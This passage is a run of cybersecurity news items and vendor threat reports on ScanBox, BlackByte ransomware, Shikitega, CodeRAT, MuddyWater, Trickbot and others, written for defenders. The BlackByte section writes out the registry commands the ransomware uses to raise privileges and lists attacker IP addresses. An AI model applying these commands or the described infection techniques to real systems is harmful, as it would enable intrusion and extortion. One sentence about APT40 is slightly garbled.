Typically, the threat actors sell DDoS services to others, so the botnet’s firepower is rented to anyone interested in causing downtimes or disruption to sites and online services.
Users of compromised D-Link devices may notice internet speed drops, unresponsiveness, router overheating, or inexplicable DNS configuration changes, all common signs of botnet infections.
The best way to shut the door to MooBot is to apply the available firmware updates on your D-Link router.
If you’re using an old and unsupported device, you should configure it to prevent remote access to the admin panel.
If you may have been compromised already, you should perform a reset from the corresponding physical button, change your admin password, and then install the latest security updates from the vendor.
Chinese hackers target Australian govt with ScanBox malware
China-based threat actors have been targeting Australian government agencies and wind turbine fleets in the South China Sea by directing select individuals to a fake impersonating an Australian news media outlet.
Victims landed on the fraudulent site after receiving phishing emails with enticing lures and received a malicious JavaScript payload from the ScanBox reconnaissance framework.
The campaign was active from April to June this year and targeted people at local and federal Australian Government agencies, Australian news media organizations, and at global heavy industry manufacturers that provide maintenance to wind turbines in the South China Sea.
Security researchers at Proofpoint and PwC (PricewaterhouseCoopers) observing the campaign assess that the objective was cyberespionage.
They attribute the activity with moderate confidence to a China-based group tracked as  from a threat group tracked as APT40 (a.k.a.
TA423, Leviathan, Red Ladon).
ScanBox campaign
ScanBox has been seen in multiple attacks from at least six China-based threat actors in the past and there is sufficient evidence indicating that the toolkit has been used since at least 2014.
A report from Proofpoint today notes that the phishing emails were delivered to targets in several waves, using Gmail and Outlook email addresses.
The sender posed as an employee of “Australian Morning News,” a fake media outlet, and added a URL to the malicious website.
The site featured content copied from various legitimate news portals.
The URLs also included unique values for each target, the researchers say, although they led to the same page and malicious payload in every instance.
Visitors of the fake website were served with a copy of the ScanBox framework via JavaScript execution and staged module loading.
“ScanBox can deliver JavaScript code in one single block, or, as is the case in the April 2022 campaign, as a plugin-based, modular architecture,” explains Proofpoint.
The report further explains that delivering the entire code may be preferable to the threat actors.
However, it would risk crashes and errors and it could draw the attention of researchers, so selective plugin loading was chosen.
Modules available in the ScanBox framework include:
Keylogger: records key presses performed within a ScanBox iframe.
Browser plugins: identifies installed browser plugins
Browser fingerprinting: identifies and analyzes victim’s browser technical capabilities
Peer connection: implements WebRTC to real-time communication over APIs
Security check: checks if Kaspersky security tools are installed on the victim’s machine
Once the framework has been assembled on the victim’s machine and the selected plugins are loaded, it sets up command and control (C2) communications and begins sending victim profile data, technical details, and information useful for reconnaissance and basic espionage.
In some cases observed in June 2022, the threat actors targeted the Australian Naval Defense, oil and petroleum, and deep water drilling firms using COVID-19 passport services lures that downloaded a DLL stager for loading Meterpreter.
Links to past operations
Based on recent evidence from the targeting methods and tools, Proofpoint concludes that the 2022 campaign is the third phase of the same intelligence-gathering mission APT40 has been carrying out since March 2021.
Back then, the threat actors impersonated news outlets like “The Australian” and “Herald Sun”, to perform RTF Template injection and load Meterpreter on the victims’ machines.
The use of ScanBox in APT40 campaigns was seen in 2018 too.
The threat actor has an attack history long enough to prompt the U.S. Department of Justice in July 2021 to indict members of APT40.
Threat Assessment: BlackByte Ransomware
Executive Summary
BlackByte is ransomware as a service (RaaS) that first emerged in July 2021.
Operators have exploited ProxyShell vulnerabilities to gain a foothold in the victim's environment.
BlackByte has similarities to other ransomware variants such as Lockbit 2.0 that avoid systems that use Russian and a number of Eastern European languages, including many written with Cyrillic alphabets.
The operators behind this ransomware have been very active since it first emerged.
Since November 2021, they have targeted multiple U.S. and global organizations, including a number in energy, agriculture, financial services and the public sector.
They also displayed pervasiveness with a notable increase (300%) in the number of attacks associated with the RaaS in October-December 2021, compared with July-September 2021.
Recently, a joint advisory from the U.S. Federal Bureau of Investigation and the U.S. Secret Service noted that the ransomware group had targeted critical infrastructure.
Palo Alto Networks detects and prevents BlackByte ransomware with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).
BlackByte Overview
BlackByte is a RaaS that leverages double extortion as part of attacks.
The threat actors behind the ransomware deploy a name-and-shame approach to victim shaming, as they operate a Tor .onion auction site where they sell stolen victim data.
The operators even go so far as to link the auction site in the ransom note to scare victims.
Unit 42 has observed multiple variants of BlackByte in the wild – this includes variants written in Go and .NET, as well as one variant that appeared to have been written with a mix of both Go and C programming languages.
Across the observed samples, these variants use multiple obfuscation and anti-debugging features.
The ransomware payloads are UPX Packed and have worm capabilities, which allow them to increase the scope of an attack with little effort.
An earlier variant of BlackByte encrypts files in AES Symmetric encryption, a simple encryption routine where the same key is used to encrypt files.
This variant downloads a .png file from the IP addresses 185[.
]93.6.31 and 45[.
]9.148.114 prior to encryption.
Security researchers from SpiderLabs developed a decryptor for BlackByte, which was later published on GitHub.
The ransomware group was made aware of the public decryptor, and this led them to create a newer version of BlackByte that uses multiple keys for each session.
The encryption happens without communication with any external IPs.
In addition to developing the latest ransomware variant, BlackByte operators also tried to discourage victims from using the public decryptor.
They added a warning message on their site, and also included a warning against using the free decryptor in their ransom notes.
The observed BlackByte samples had an icon attached to them resembling the grim reaper (see Figure 3, left).
Some of the newer versions updated their executable icons to include the same grim reaper with the addition of BB to their icon, which stands for BlackByte (see Figure 3, right).
BlackByte also uses product descriptions that present its files as well-known products, likely in an attempt to mask its files as legitimate.
Ransomware Highlights
Analysis of BlackByte variants identified the reuse of multiple tactics, techniques and procedures (TTPs).
Initial Access:
Use of a known Microsoft Exchange Server vulnerability (ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to gain access to the victim's networks.
In one case, we observed threat actor attempts coming from the following IP addresses: 185[.]219.52[.
]229 (RU), 198[.]144.189[.
]74 (US), 45[.
]137.190.193 (RU), 185[.
]70.184.42 (NL) and 198[.
]54.131.44 (US), with the 185[.
]70.184.42 IP being the most persistent.
Persistence:
Delivering a malicious web shell allowing remote code execution capability.
In an effort to maintain persistence, the BlackByte ransomware excludes key system and application folders – as well as key components – from encryption so as not to render the system and ransomware inoperative.
The folders excluded are as follows:
Files ignored by the ransomware:
BlackByte, ntdetect[.
]com, bootnxt, NTLDR, recycle.bin, bootmgr, thumbs.db, ntuser.dat.log, bootsect.bak, autoexec.bat, iconcache.db, bootfont.bin, Bitdefender, Trend Micro, Avast Software, Intel, common files, ProgramData, WindowsApps, AppData, Mozilla, application data, Google, Windows.old, system volume information, program files (x86), boot, Tor browser, Windows, PerfLogs and MSOCache.
Any file with an extension matching the following list will also be avoided: Url, msilog, log, ldf, lock, theme, msi, sys, wpx, cpl, adv, msc, scr, key, ico, dll, hta, deskthemepack, nomedia, msu, rtp, msp, idx, ani, 386, diagcfg, bin, mod, ics, com, hlp, spl, nls, cab, exe, diagpkg, icl, ocx, rom, prf, themepack, msstyles, icns, mpa, drv, cur, diagcab, cmd and shs.
Defense Evasion:
Cobalt Strike is dropped onto the compromised Exchange Server and injected into another process such as wuauclt.exe
BlackByte implements multiple obfuscation and anti-debugging features during execution, such as requiring a SHA256 hash passed via the command line, which is a unique identifier for the victim.
Deleting taskmg, resmon and stopping WinDefend using PowerShell obfuscated command.
Credential Access:
Use of Cobalt Strike for additional functions, including dumping credentials.
Privilege Escalation:
BlackByte has been observed modifying the registry in an effort to escalate privileges
Elevate local privileges: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Enable OS to share network connections between different privilege levels: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
Discovery:
The ransomware checks if the system includes Russian or a number of Eastern European languages, including many written with Cyrillic alphabets, before execution/encryption, and if found, it will exit.
Impact:
It should be noted that while the ransomware itself does not have an exfiltration capability, the threat actor was observed using WinRAR to compress local data in preparation to exfiltrate.
In older versions, BlackByte included a hardcoded RSA public key, believed to be used as part of the encryption algorithm.
That could have been used as a backup key if the command and control servers (C2s) were down, or it could be that the threat actors moved away from hosting keys that could be easily retrieved.
However, in newer versions, the encryption happened without communicating with any external IP addresses.
Targeting
The ransomware group and its affiliate program reportedly compromised multiple U.S. and global organizations, including some in the energy, agriculture, financial services and public sectors.
They have also displayed pervasiveness with a noted increase in the number of attacks associated with the RaaS in October-December 2021, compared to July-September 2021.
The threat actor operates a cybercrime marketplace and victim name-and-shame blog dubbed BlackByte Auction.
This site is hosted on a Tor network, and it is where the BlackByte ransomware group lists encrypted victim networks.
Most Notable Recent Attacks
On Feb. 13, 2022, BlackByte operators announced they had compromised the San Francisco 49ers, a U.S. National Football League (NFL) team, and had stolen its financial data.
Given that this attack on the San Francisco 49ers was specifically timed to occur around the 2022 Super Bowl, it is likely that BlackByte operators seek to leverage timing to garner attention and increase profits from an attack.
BlackByte has also reduced its time to pay the ransom from 30 days to 17 days, and then down to 12 days.
They have also changed their leak site address multiple times.
According to recent leak site data as well as Unit 42 incident response data, the following industries have been impacted by BlackByte since at least August 2021.
These victims have been observed primarily within the U.S.; however, BlackByte has a global presence and has been observed targeting organizations in the U.S. and Canada, South America, Australia, Europe, Africa and Asia.
Courses of Action
Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to BlackByte ransomware, as well as other malware using similar techniques:
Product / Service
Course of Action
Initial Access
The below courses of action mitigate the following techniques:
Exploit Public-Facing Application [T1190]
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure that WildFire file size upload limits are maximized
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
CORTEX XSOAR 	Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint
NEXT-GENERATION FIREWALLS 	Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Execution, Persistence, Privilege Escalation, Defense Evasion
The below courses of action mitigate the following techniques:
PowerShell [T1059.001], Server Software Component [T1505], Disable or Modify Tools [T1562.001], Modify Registry [T1112], Disable or Modify System Firewall [T1562.004], File Deletion [T1070.004], Scheduled Task [T1053.005], Process Injection [T1055]
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure alerts are enabled for malicious files detected by WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
CORTEX XDR PREVENT 	Configure Behavioral Threat Protection under the Malware Security Profile
Enable Anti-Exploit Protection
Enable Anti-Malware Protection
Credential Access
The below courses of action mitigate the following techniques:
OS Credential Dumping [T1003]
CORTEX XDR PREVENT 	Enable Anti-Exploit Protection
Enable Anti-Malware Protection
Discovery
The below courses of action mitigate the following techniques:
Remote System Discovery [T1018], System Network Configuration Discovery [T1016]
CORTEX XDR PREVENT 	Configure Behavioral Threat Protection under the Malware Security Profile
Cortex XDR 	XDR monitors for behavioral events via BIOCs along a causality chain to identify discovery behaviors
Lateral Movement
The below courses of action mitigate the following techniques:
SMB/Windows Admin Shares [T1021.002]
Ensure a secure antivirus profile is applied to all relevant security policies
Cortex XDR  	Enable Anti-Malware Protection
Enable Anti-Exploit Protection
Collection
The below courses of action mitigate the following techniques:
Archive via Utility [T1560.001]
Cortex XDR 	Monitors for behavioral events via BIOCs including the creation of zip archives
Command and Control
The below courses of action mitigate the following techniques:
Ingress Tool Transfer [T1105]
NEXT-GENERATION FIREWALLS 	Ensure that the Certificate used for Decryption is Trusted
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Setup File Blocking
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured
Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS
Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the internet
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Ensure alerts are enabled for malicious files detected by WildFire
Ensure forwarding of decrypted content to WildFire is enabled
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure that WildFire file size upload limits are maximized
Ensure all WildFire session information settings are enabled
Ensure that Advanced URL Filtering is used
Ensure that URL Filtering uses the action of “block” or “override” on the URL categories
Ensure all HTTP Header Logging options are enabled
Ensure that access to every URL is logged
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
CORTEX XSOAR 	Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators
Deploy XSOAR Playbook - Block URL
Deploy XSOAR Playbook - Block IP
Impact
The below courses of action mitigate the following techniques:
Inhibit System Recovery [T1490], Data Encrypted for Impact [T1486]
CORTEX XSOAR 	Deploy XSOAR Playbook - Palo Alto Networks Endpoint Malware Investigation
Deploy XSOAR Playbook - Ransomware Manual for incident response.
These capabilities are part of the NGFW cloud-delivered security subscriptions service
Conclusion
BlackByte ransomware operators have been active since at least July 2021.
Due to the high-profile nature and steady stream of BlackByte attacks identified globally in early 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.
Palo Alto Networks detects and prevents BlackByte ransomware in the following ways:
WildFire: All known samples are identified as malware.
Cortex XDR:
Identifies indicators associated with BlackByte.
Anti-Ransomware Module to detect BlackByte encryption behaviors on Windows.
Local Analysis detection for BlackByte binaries on Windows.
Next-Generation Firewalls: DNS Signatures detect the known C2 domains, which are also categorized as malware in Advanced URL Filtering.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Indicators of compromise and BlackByte-associated TTPs can be found in the BlackByte ATOM here.
New Linux malware evades detection using multi-stage deployment
A new stealthy Linux malware known as Shikitega has been discovered infecting computers and IoT devices with additional payloads.
The malware exploits vulnerabilities to elevate its privileges, adds persistence on the host via crontab, and eventually launches a cryptocurrency miner on infected devices.
Shikitega is quite stealthy, managing to evade anti-virus detection using a polymorphic encoder that makes static, signature-based detection impossible.
An intricate infection chain
While the initial infection method is not known at this time, researchers at AT&T who discovered Shikitega say the malware uses a multi-step infection chain where each layer delivers only a few hundred bytes, activating a simple module and then moving to the next one.
"Shiketega malware is delivered in a sophisticated way, it uses a polymorphic encoder, and it gradually delivers its payload where each step reveals only part of the total payload.," explains AT&T’s report.
The infection begins with a 370 bytes ELF file, which is the dropper containing encoded shellcode.
The ELF file that initiates the infection chain
The ELF file that initiates the infection chain (AT&T)
The encoding is performed using the polymorphic XOR additive feedback encoder ‘Shikata Ga Nai,’ previously analyzed by Mandiant.
“Using the encoder, the malware runs through several decode loops, where one loop decodes the next layer until the final shellcode payload is decoded and executed,” continues the report.
“The encoder stud is generated based on dynamic instruction substitution and dynamic block ordering.
In addition, registers are selected dynamically.”
Decryption loops in Shikata Ga Nai
Shikata Ga Nai decryption loops (AT&T)
After the decryption is completed, the shellcode is executed to contact the malware's command and control servers (C2) and receive additional shellcode (commands) stored and run directly from memory.
One of these commands downloads and executes ‘Mettle,’ a small and portable Metasploit Meterpreter payload that gives the attackers further remote control and code execution options on the host.
Downloaded command fetching Mettle
Downloaded shellcode fetching Mettle (AT&T)
Mettle fetches yet a smaller ELF file, which exploits CVE-2021-4034 (aka PwnKit) and CVE-2021-3493 to elevate privileges and download the final stage payload, a cryptocurrency miner, as root.
Exploiting PwnKit to elevate privileges to root
Exploiting PwnKit to elevate privileges to root (AT&T)
Persistence for the crypto miner is achieved by downloading five shell scripts that add four cronjobs, two for the root user and two for the current user.
The five shell scripts and their functions
The five shell scripts and their functions (AT&T)
The crontabs are an effective persistence mechanism, so all downloaded files are wiped to reduce the likelihood of the malware being discovered.
The crypto miner is XMRig version 6.17.0, focusing on mining the anonymity-focused and hard-to-trace Monero.
Shitikega infection chain overview
Shikitega infection chain overview (AT&T)
To further reduce the chances of raising alarms on network security products, the threat actors behind Shikitega use legitimate cloud hosting services to host their command and control infrastructure.
This choice costs more money and puts the operators at risk of being traced and identified by law enforcement but offers better stealthiness in the compromised systems.
The AT&T team reports a sharp rise in Linux malware this year, advising system admins to apply the available security updates, use EDR on all endpoints, and take regular backups of most important data.
For now, Shikitega appears focused on Monero mining, but the threat actors may decide that other, more potent payloads can be more profitable in the long run.
Malware dev open-sources CodeRAT after being exposed
The source code of a remote access trojan (RAT) dubbed 'CodeRAT' has been leaked on GitHub after malware analysts confronted the developer about attacks that used the tool.
The malicious operation, which appears to originate from Iran, targeted Farsi-speaking software developers with a Word document that included a Microsoft Dynamic Data Exchange (DDE) exploit.
The exploit downloads and executes CodeRAT from the threat actor's GitHub repository, giving the remote operator a broad range of post-infection capabilities.
More specifically, CodeRAT supports about 50 commands and comes with extensive monitoring capabilities targeting webmail, Microsoft Office documents, databases, social network platforms, integrated development environment (IDEs) for Windows Android, and even individual websites like PayPal.
Cybersecurity company SafeBreach reports that the malware also spies on sensitive windows for tools like Visual Studio, Python, PhpStorm, and Verilog - a hardware description language for modeling electronic systems.
To communicate with its operator and to exfiltrate stolen data, CodeRAT uses a Telegram-based mechanism that relies on a public anonymous file upload API instead of the more common command and control server infrastructure.
Although the campaign stopped abruptly when the researchers contacted the malware developer, CodeRAT is likely to become more prevalent now that its author made the source code public,
CodeRAT details
The malware supports  around 50 commands that include taking screenshots, copying clipboard content, getting a list of running processes, terminating processes, checking GPU usage, downloading, uploading, deleting files, executing programs.
CodeRAT's GUI command builder
CodeRAT's GUI command builder (SafeBreach)
The attacker can generate the commands through a UI tool that builds and obfuscates them and then uses one of the following three methods to transmit them to the malware:
Telegram bot API with proxy (no direct requests)
Manual mode (includes USB option)
Locally stored commands on the 'myPictures' folder
The same three methods can also be used for data exfiltration, including single files, entire folders, or targeting specific file extensions.
UI to exfiltrate data onto USB drives
Main window giving operators a way to perform manual functions (SafeBreach)
If the victim's country has banned Telegram, CodeRAT offers an anti-filter functionality that establishes a separate request routing channel that can help bypass the blocks.
HTTP Debugger used as a proxy for Telegram coms
HTTP Debugger used as a proxy for Telegram communication (SafeBreach)
The author also claims that the malware can persist between reboots without making any changes to the Windows registry, but SafeBreach doesn't provide any details about this feature.
CodeRAT comes with strong capabilities that are likely to attract other cybercriminals.
Malware developers are always looking for malware code that can be easily turned into a new "product" that would increase their profits.
Microsoft: Iranian hackers still exploiting Log4j bugs against Israel
Hackers continue to exploit the Log4j vulnerability in vulnerable applications, as shown by the Iranian 'MuddyWater' threat actor who was found targeting Israeli organizations using the SysAid software.
The vulnerability in Log4j (“Log4Shell”) was discovered and patched in December 2021 but still plagues a wide range of applications that utilize the open-source library.
One of those applications is SysAid, a help desk software that released security updates for the bugs in January.
MuddyWater, aka ‘MERCURY,’ is an espionage group believed to be operated directly by Iran’s Ministry of Intelligence and Security (MOIS), recently seen targeting telcos across the Middle East and Asia.
The operations of the particular hacking group align with Iran’s national interests, so they constantly implicate Israeli entities that are considered enemies of the state.
Exploiting SysAid for initial access
The latest MuddyWater hacking campaign outlined in a Microsoft report yesterday constitutes the first example of leveraging vulnerable SysAid applications to breach corporate networks.
MuddyWater previously targeted VMWare instances that carried Log4j flaws to drop web shells, but assuming that these were eventually patched, the threat actors explored alternative options.
SysAid is an excellent initial access vector in that sense, as it still incorporates Log4j, and numerous organizations use it as an IT management tool, service desk, and help desk solution.
The Iranian hackers exploit Log4Shell flaws for initial access, running malicious PowerShell via a specially crafted request sent to vulnerable endpoints and dropping web shells.
Having collected the required info via cmd.exe, the hackers add a user, elevate its privileges to a local administrator, and then add their attack tools in the startup folders to ensure persistence between reboots.
From there, MuddyWater can perform credential theft using Mimikatz, lateral movement via WMI and RemCom, and send stolen data to the C2 server via a customized version of the Ligolo tunneling tool.
Custom reverse proxy communications
Ligolo is an open-source reverse-tunneling tool that the hackers use for securing communications between backdoors and C2 infrastructure.
The modified version employed by MERCURY in the latest campaign comes in the form of an executable named “vpnui.exe.”
While Microsoft’s report doesn’t go into the details of the particular tool, we know from a March 2022 report by Security Joes that the hackers added useful features like execution checks and command-line parameters.
Security Joes had loosely attributed the appearance of the customized Ligolo to MuddyWater, and Microsoft’s recent report further confirms this attribution.
The report lists more details on MuddyWater detection opportunities and hunting queries in its last section, so make sure to check it if you’re within the group’s targeting scope.
TikTok denies security breach after hackers leak user data, source code
TikTok denies recent claims it was breached, and source code and user data were stolen, telling BleepingComputer that data posted to a hacking forum is "completely unrelated" to the company.
On Friday, a hacking group known as 'AgainstTheWest' created a topic on a hacking forum claiming to have breached both TikTok and WeChat.
The user shared screenshots of an alleged database belonging to the companies, which they say was accessed on an Alibaba cloud instance containing data for both TikTok and WeChat users.
The threat actor says this server holds 2.05 billion records in a massive 790GB database containing user data, platform statistics, software code, cookies, auth tokens, server info, and many more.
Announcement of TikTok and WeChat breach on a hacker forum
While the name AgainstTheWest may sound like the hacking group is targeting Western countries, the threat actors claim to only target countries and companies hostile to Western interests.
"Don't let the name confuse you, ATW targets countries they perceive to be a threat to western society, currently they are targeting China and Russia and have plans to target North Korea, Belarus and Iran in the future," explains cybersecurity researcher CyberKnow.
TikTok denies being hacked
TikTok has told BleepingComputer that the claims of the company being hacked are false.
Furthermore, the company said the source code shared on hacking forums isn't part of its platform.
"This is an incorrect claim — our security team investigated this statement and determined that the code in question is completely unrelated to TikTok's backend source code, which has never been merged with WeChat data."
- TikTok.
TikTok also told us that the leaked user data could not result from a direct scraping of its platform, as they have adequate security safeguards to prevent automated scripts from collecting user information.
BleepingComputer has also reached out to WeChat for a statement, but we have not yet received a response from them.
While WeChat and TikTok are both Chinese firms, they are not owned by the same parent company, with the former belonging to Tencent and the latter to ByteDance.
Therefore, seeing them both in a single database indicates that it was not a direct breach on each platform.
Most likely, the unprotected database was created by a third-party data scraper or broker who scraped public data from both services and saved it into a single database.
The two companies are constantly in the spotlight of privacy investigations by national services, so finding such a rich cloud instance containing both companies' data is raising suspicions.
Troy Hunt, the creator of the HaveIBeenPwned data breach notification service, confirmed in a Twitter thread that some of the data were valid.
However, Hunt could not find anything that is not publicly available in TikTok, thus proving an internal systems breach.
Similarly, "database hunter" Bob Diachenko has validated the leaked user data as real, but couldn't provide any concrete conclusions about the origin of the data.
If further analysis reveals that the data is legitimate, TikTok will be forced to take action to mitigate the leak's effects even if it wasn't breached.
We have requested an additional comment from the platform on that front, but we haven't received an answer.
The story will be updated as soon as new evidence or conclusions become available.
Hackers hide malware in James Webb telescope images
Threat analysts have spotted a new malware campaign dubbed ‘GO#WEBBFUSCATOR’ that relies on phishing emails, malicious documents, and space images from the James Webb telescope to spread malware.
The malware is written in Golang, a programming language that is gaining popularity among cybercriminals because it is cross-platform (Windows, Linux, Mac) and offers increased resistance to reverse engineering and analysis.
In the recent campaign discovered by researchers at Securonix, the threat actor drops payloads that are currently not marked as malicious by antivirus engines on the VirusTotal scanning platform.
Infection chain
The infection starts with a phishing email with an attached malicious document, “Geos-Rates.docx”, which downloads a template file.
That file contains an obfuscated VBS macro that auto-executes if macros are enabled in the Office suite.
The code then downloads a JPG image (“OxB36F8GEEC634.jpg”) from a remote resource (“xmlschemeformat[.
]com”), decodes it into an executable (“msdllupdate.exe”) using certutil.exe, and launches it.
In an image viewer, the .JPG shows the galaxy cluster SMACS 0723, published by NASA in July 2022.
However, if opened with a text editor, the image reveals additional content disguised as an included certificate, which is a Base64-encoded payload that turns into the malicious 64-bit executable.
The payload’s strings are further obfuscated using ROT25, while the binary uses XOR to hide the Golang assemblies from analysts.
On top of that, the assemblies use case alteration to avoid signature-based detection by security tools.
Malware functions
Based on what could be deduced via dynamic malware analysis, the executable achieves persistence by copying itself to '%%localappdata%%\microsoft\vault\' and adding a new registry key.
Upon execution, the malware establishes a DNS connection to the command and control (C2) server and sends encrypted queries.
“The encrypted messages are read in and unencrypted on the C2 server, thus revealing its original contents,” explains Securonix in the report.
“In the case with GO#WEBBFUSCATOR, communication with the C2 server is implemented using `TXT-DNS` requests using `nslookup` requests to the attacker-controlled name server.
All information is encoded using Base64.”
The C2 may respond to the malware by setting time intervals between connection requests, changing the nslookup timeout, or sending out commands to execute through the Windows cmd.exe tool.
During testing, Securonix observed the threat actors running arbitrary enumeration commands on its test systems, a standard first reconnaissance step.
The researchers note that the domains used for the campaign were registered recently, the oldest one on May 29, 2022.
Securonix has provided a set of indicators of compromise (IoCs) that includes both network and host-based indicators.
Protecting your finances in an age of botnets
The disruption of the Trickbot botnet will slash the number of cyberattacks aiming to swipe financial data and deploy ransomware.
Every time a critical piece of botnet infrastructure is “shot down,” thousands of machines are liberated from oppression by their cruel botnet masters.
According to Forrester, botnets are one of the top cybersecurity threats to watch out for in 2020 – one that seems to be particularly rampant in the finance industry:
Trickbot is known to go after browser-stored passwords, Point-of-Sale systems, and cryptocurrency wallets, as well as banking, email and cryptocurrency exchange credentials.
Without the protection of a security software solution, such as ESET Endpoint Security, systems can be easily infested by a malicious bot that might be served up, for example, by a phishing email.
In the case of Trickbot, the Emotet trojan is commonly the first payload of a phishing email.
Emotet, in turn, sometimes drops Trickbot as a secondary payload.
Chaining the slaves to the taskmaster
Once bots are deployed, the bot operators maintain control via command and control (C&C) servers.
In order to evade and minimize disruptions to C&C server infrastructure, the bots are often designed to leverage various layers of C&C servers, among other tricks.
Trickbot’s main module, for example, often first contacts hacked Internet of Things (IoT) devices selected from a list of hardcoded C&C server addresses.
The bot module then obtains a second list of C&C server addresses from the hacked devices.
By contacting the C&C servers on the second list, the bot can download various plugins.
Some of the plugins have their own C&C servers, and yet other C&C servers are dedicated to exfiltrating stolen data – all of which make disruption efforts that much more challenging.
Modular with a wide range of infostealing plugins
Since Trickbot has a modular architecture, the operators are able to deploy both new and updated plugins with ever-evolving features.
The malware’s capabilities range from infostealing to lateral movement, network abuse and even the deployment of ransomware, such as Ryuk.
The high volume of research publications on Trickbot’s plugin updates, since its rise in 2016, illustrates how busy the botnet’s operators have been.
Trickbot has been further weaponized via its use as malware-as-a-service.
In this criminal business model, the botnet is rented to other cybercriminals, who can wreak further havoc.
Fortunately, with the joint effort at disrupting the Trickbot botnet this week, financial industries – the most targeted business vertical – can hope for some respite.
Trickbot operators have demonstrated a lot of interest in going after financial and related data.
Out of the tens of thousands of configuration files used by the Trickbot plugins in 2020 and examined by ESET researchers, the most targeted websites were those of financial institutions.
In addition, 11 of the 28 Trickbot plugins analyzed by ESET were infostealers, including:
Pwgrab, which steals passwords from Filezilla, Microsoft Outlook and WinSCP;
importDll, which steals browser information such as browsing history, cookies and configurations;
psfin, which tries to locate specific instances of Point-of-Sale machines; and
injectDll, which uses browser hooks to steal user credentials from banking websites.
ESET’s Secure Browser technology, known as Banking & Payment Protection in the consumer lineup, blocks the hooking mechanism used by Trickbot’s injectDll plugin.
Secure Browser will be available for businesses in the upcoming release of version 8 of ESET Endpoint Security.
Playing the game with endpoint detection and response
Perhaps the most insidious characteristic of Trickbot is its spreading capability.
The most frequently detected plugins in ESET’s botnet tracker platform for Trickbot were those dedicated to lateral movement within compromised networks.
These modules increase Trickbot’s hold in a victim network by propagating via:
Network shares
Server message block (SMB) using the EternalBlue exploit
SMB using the EternalRomance exploit
ESET’s endpoint detection and response solution, ESET Enterprise Inspector (EEI), is powerful enough to automatically sound the alarm on the techniques employed by Trickbot.
EEI does this via its detection rules that trigger when suspicious events happen on endpoints.
The offending processes are saved, along with their process trees, for investigation by network defenders.
ESET Endpoint Security detects Trickbot’s lateral movements, while EEI detects its web injection mechanism.
Using EEI’s dashboard, IT admins and network defenders can also gain a comprehensive view of these events:
Trickbot uses web injects to modify web pages and steal login credentials via the injectDll module.
Trickbot utilizes the EternalBlue exploit for lateral movement in the modules wormwinDll, wormDll, mwormDll and nwormDll.
Trickbot utilizes the EternalRomance exploit for lateral movement in the module tabDll.
Recommendations
The Trickbot operation is not the first time ESET has contributed to a botnet disruption.
ESET helped disrupt the Dorkbot botnet in 2015 and the Gamarue botnet in 2017.
Dorkbot and Gamarue were first detected in 2011, and Trickbot was first detected in 2016.
While disruptions help create a safer internet, disrupting a botnet can be a drawn out, multiyear affair that involves complex coordination with law enforcement and industry partners.
Waiting for the next botnet disruption is not a good security strategy, so here are a few steps you can take to protect your network from a botnet infestation:
Protect your endpoints with security solutions, like ESET Endpoint Security and ESET Mail Security, that have robust detection modules, such as anti-phishing, Secure Browser and botnet protection.
Make sure your network is patched with the latest security updates so that malware can't leverage exploits like EternalBlue and EternalRomance.
Restrict access to remote ports, especially remote desktop (RDP) ports.
Go one step further and protect RDP logins with multi-factor authentication, in case passwords get compromised by an infostealer.
Go one giant step further by uninstalling unused apps and blocking unused ports.
More mature security operations center (SOC) teams can consider ways to make attacks financially more costly for attackers – for example, by setting up open, unresponsive connections, serving up fake data, or using honeypots.
Small Business, Mighty Attack Surface
By Douglas McKee · August 3, 2022
If given the chance to name the first five businesses that come to mind, what would they be?
Maybe if you're close to the security industry you might suggest names like Microsoft, Apple or Google.
Maybe your mind may drift to giants such as Disney, Coca-Cola, Amazon or Walmart.
What if we consider what would be top of mind for threat actors, would the list be the same?
